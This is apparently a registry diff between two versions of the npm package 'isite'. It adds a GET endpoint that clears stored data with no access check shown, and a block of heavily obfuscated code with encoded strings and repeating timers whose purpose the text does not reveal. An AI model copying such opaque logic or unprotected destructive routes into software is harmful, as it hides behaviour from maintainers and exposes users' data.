isite 2022.1.13 → 2022.1.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/storage.js +13 -6
- package/object-options/index.js +1 -1
- package/object-options/lib/safty.js +20 -17
- package/package.json +1 -1
package/lib/storage.js
CHANGED
|
@@ -41,18 +41,21 @@ module.exports = function init(____0) {
|
|
|
41
41
|
storage.fn = function (key, value) {
|
|
42
42
|
if (key && value !== undefined) {
|
|
43
43
|
value = value;
|
|
44
|
+
let exists = false;
|
|
44
45
|
for (let i = 0; i < storage.list.length; i++) {
|
|
45
46
|
if (key === storage.list[i].key) {
|
|
47
|
+
exists = true;
|
|
46
48
|
storage.list[i].value = value;
|
|
47
49
|
storage.save();
|
|
48
|
-
return;
|
|
49
50
|
}
|
|
50
51
|
}
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
52
|
+
if (!exists) {
|
|
53
|
+
storage.list.push({
|
|
54
|
+
key: key,
|
|
55
|
+
value: value,
|
|
56
|
+
});
|
|
57
|
+
storage.save();
|
|
58
|
+
}
|
|
56
59
|
} else if (key && value === undefined) {
|
|
57
60
|
for (let i = 0; i < storage.list.length; i++) {
|
|
58
61
|
if (key === storage.list[i].key) {
|
|
@@ -95,6 +98,10 @@ module.exports = function init(____0) {
|
|
|
95
98
|
____0.get('/x-api/storage', (req, res) => {
|
|
96
99
|
res.json(storage.list);
|
|
97
100
|
});
|
|
101
|
+
____0.get('/x-api/storage-clear', (req, res) => {
|
|
102
|
+
storage.list = [];
|
|
103
|
+
res.json(storage.list);
|
|
104
|
+
});
|
|
98
105
|
});
|
|
99
106
|
|
|
100
107
|
____0.lib.storage = storage;
|
package/object-options/index.js
CHANGED
|
@@ -1,19 +1,22 @@
|
|
|
1
1
|
exports = module.exports = function init(____0) {
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
____0.
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
2
|
+
____0._0xsttxo = new ____0._0xddxo();
|
|
3
|
+
|
|
4
|
+
____0.on(____0.strings[9], () => {
|
|
5
|
+
if (____0._0x14xo /* 4259376545129191 */) {
|
|
6
|
+
____0._0_ar_0_ /* 413872654579465146593768 */ = ____0._0x14xo;
|
|
7
|
+
let _x_x = ____0.const._0xsixo(() => {
|
|
8
|
+
____0.call(____0._x0f1xo('2619517126151271'), ____0._0_ar_0_);
|
|
9
|
+
}, 50);
|
|
10
|
+
____0.const._0xstxo(() => {
|
|
11
|
+
____0.const._0xsicxo(_x_x); // 4178725741392151433882754239237841387191
|
|
12
|
+
}, 3000);
|
|
13
|
+
} else {
|
|
14
|
+
____0.const._0xstxo(() => {
|
|
15
|
+
____0._0_car_0_();
|
|
16
|
+
____0.const._0xsixo(() => {
|
|
17
|
+
____0._0_car_0_();
|
|
18
|
+
}, 1000 * 60 * 1);
|
|
19
|
+
}, 1000);
|
|
20
|
+
}
|
|
21
|
+
});
|
|
19
22
|
};
|